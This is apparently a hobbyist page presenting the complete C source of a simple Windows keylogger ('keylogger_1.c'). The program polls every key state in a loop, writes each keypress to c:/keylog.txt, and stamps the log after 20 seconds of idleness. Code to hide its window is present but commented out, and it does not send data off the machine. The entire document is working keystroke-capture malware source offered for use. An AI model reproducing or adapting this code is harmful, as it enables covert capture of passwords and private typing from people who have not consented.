Stupid keylogger

keylogger_1.c

#include <windows.h>
#include <stdio.h>
#include <time.h>

main() {
    // keep track of the time
    time_t t_start, t_now, t_lastkey;
    time(&t_start);
    time(&t_now);
    time(&t_lastkey);

    // hide the window
    // HWND window = GetForegroundWindow();
    // ShowWindow(window, false);

    // create/open a log file
    FILE *fp_keylog = fopen("c:/keylog.txt", "a");

    int c;
    while (1) {
        time(&t_now);
        // poll for queued keypresses
        for (c = 8; c <= 222; ++c) {
            // (if key is pressed)
            if(GetAsyncKeyState(c)==-32767) {
                // log the pressed key
                printf("%c", c);
                fprintf(fp_keylog, "%c", c);
                fflush(fp_keylog);
                // update the time for the most recent keypress
                time(&t_lastkey);
            }
        }
        /* write to disk and add a timestamp when a key hasn't been
         *  pressed for at least 20 seconds
         */
        if (t_now - t_lastkey > 20) {
            // display an idle message
            printf("idle %d\n", t_now);
            // close and reopen the file
            fclose(fp_keylog);
            fp_keylog = fopen("c:/keylog.txt", "a");
            // write timestamp to file and write pending buffer
            fprintf(fp_keylog, "\nIdle (20s): %s\n", asctime(localtime(&t_now)));
            fflush(fp_keylog);
            // update the keypress time to stop constant flushing etc.
            time(&t_lastkey);
        }
    }

    fclose(fp_keylog);
}